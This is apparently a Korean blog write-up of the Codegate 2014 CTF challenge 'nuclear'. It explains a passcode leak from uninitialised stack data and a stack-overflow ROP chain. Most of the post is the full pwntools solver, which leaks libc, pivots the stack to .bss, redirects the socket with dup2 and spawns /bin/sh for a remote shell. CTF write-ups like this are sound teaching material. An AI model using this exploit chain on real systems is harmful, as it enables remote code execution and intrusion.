1. Reversing
군대라는 특성상 ida가 없어서 gdb-peda로 nuclear을 리버싱을 진행했다.
2. leak
위의 캡쳐가 대충 분석한 결과인데 바이너리의 스택 구조가
+---------------+
| passcode | → 'THIS_IS_NOT_KEY_JUST_PASSCODE'의 내용
+---------------+
| float_data |
+---------------+ → 'target' command에서 입력을 요구하는 (Latitude/Longitude)의 값(float형)
| float_data |
+---------------+
| |
| input_str | → 'command' input을 받아서 저장
| |
+---------------+
이렇게 형성되는데 여기서 float_data이 있는 부분이 초기화 과정에 memset을 통해서 0으로 초기화가 되있는 상태이다.
따라서 target으로 위도 및 경도를 아무 숫자(null이 나오지 않는 값)로 채운 다음에 printf를 수행하게 만든다.
그렇게 되면 passcode의 leak을 얻을 수 있다.
3. exploit
다행히 해당 문제에는 canary가 적용되지 않았기 때문에 stackOverflow가 일어나는 부분만 찾으면 되었다.
명령어 'launch'를 입력한 후 위쪽에서 얻은 passcode를 입력하면 pthread_create로 0x8048b9c 함수를 실행하게 된다.
해당 함수에서 Enter를 입력할 시에 또 pthread_create로 0x8048b5b 함수를 실행하게 되는데
이때 stackOverflow가 일어난다. 해당 stack에서 dummy 계산해서 ROP를 진행하면 끝
4. slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
|
from pwn import *
p = remote('localhost', 1129)
# (socket fd, buf, len, flag)
recv_plt = 0x80488e0
# (socket fd, meg, len ,flag)
send_plt = 0x8048900
memset_got=0x804b050
pop4_ret = 0x804917c
leave_Addr=0x8048c63
bss_Addr = 0x804b500
cmd = '/bin/sh'
# command('target')
log.info(p.recvuntil('> '))
payload = ''
payload += 'target'
p.send(payload)
sleep(0.1)
log.info(p.recvuntil('> '))
# setting (Latitude/Longitude) = (1.2/0.2)
payload = ''
payload += '1.2/0.2'
p.send(payload)
sleep(0.1)
log.info(p.recvuntil('> '))
# get leak passcode(password)
payload =''
payload += 'a'*0x230
p.send(payload)
sleep(0.1)
p.recvuntil('[!] Unknown command : ')
# leak_parsing
password_leak = p.recvuntil('\n')[0x208:]
log.info('password : ' + password_leak)
p.recvuntil('>')
p.recvuntil('>')
# command('launch')
payload = ''
payload += 'launch'
p.send(payload)
sleep(0.1)
log.info(p.recv())
# input(password)
payload = ''
payload += password_leak
p.send(payload)
sleep(0.1)
log.info(p.recv())
payload = ''
# dummy_setting
payload += 'A'*0x20c
payload += 'BBBB'
# send(4, memset_got, 4, 0)
payload += p32(send_plt)
payload += p32(pop4_ret)
payload += p32(4)
payload += p32(memset_got)
payload += p32(4)
payload += p32(0)
# recv(4, bss_Addr, 0x100, 0)
payload += p32(recv_plt)
payload += p32(pop4_ret)
payload += p32(4)
payload += p32(bss_Addr)
payload += p32(0x100)
payload += p32(0)
payload += p32(pop4_ret+3)
payload += p32(bss_Addr-0x4)
# esp_control
payload += p32(leave_Addr)
p.sendline(payload)
sleep(0.1)
# libc_leak parsing
libc = u32(p.recv())
log.info('libc_Addr : '+ hex(libc))
system_Addr = libc+0x90e80
binsh_Addr = libc+0x33f9c
dup2_Addr = libc-0x4f9d0
log.info('system_Addr : ' + hex(system_Addr))
log.info('binsh_Addr : ' + hex(binsh_Addr))
log.info('dup2_Addr : ' + hex(dup2_Addr))
execl_Addr = system_Addr -0x105640
system_Addr = system_Addr - 0x17d040
payload =''
# dup2(4, 0)
payload += p32(dup2_Addr)
payload += p32(pop4_ret+2)
payload += p32(4)
payload += p32(0)
# dup2(4, 1)
payload += p32(dup2_Addr)
payload += p32(pop4_ret+2)
payload += p32(4)
payload += p32(1)
payload += p32(system_Addr)
payload += p32(0xdeadbeef)
payload += p32(bss_Addr + len(payload)+4)
payload += cmd
p.send(payload)
sleep(0.1)
p.interactive()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
[깨달은 점]
1. 해당 바이너리는 서버로 제공되므로 굳이 leak과 exploit을 한번에 할 필요가 없다.
위의 코드를 보면 알겠지만 libc를 leak하고 다시 esp를 bss쪽으로 control하는 과정이 조금 난잡하다.
어차피 바이너리는 종료되지 않으므로 leak을 한 다음에 바로 rop_exploit을 진행해도 무방하다.
2. dup2(4, 0), dup2(4, 1)
remote shell을 실행하기 위해서 socket fd를 0, 1로 redirection을 해야된다.
리다이렉션을 수행하지 않으면 shell이 client가 아닌 server에서 열리므로 client에서 명령어를 입력할 수 없게 된다.
[+] '/bin/sh 4>&0 4>&1' 으로도 가능함
3. fake_stack은 w권한이 있는 부분의 중간으로 설정한다.
system함수에서 stack을 만들고 참조하는 부분이 있으므로 SEGFAULT가 일어날 수 있음.
4. 대회문제는 환경설정부터...
5. 문제풀이는 문제를 풀자마자 하는걸로... 하하...
'System > Codegate 2014' 카테고리의 다른 글
[Codegate 2014] - angry_doraemon - 190507 (0) | 2019.05.07 |
---|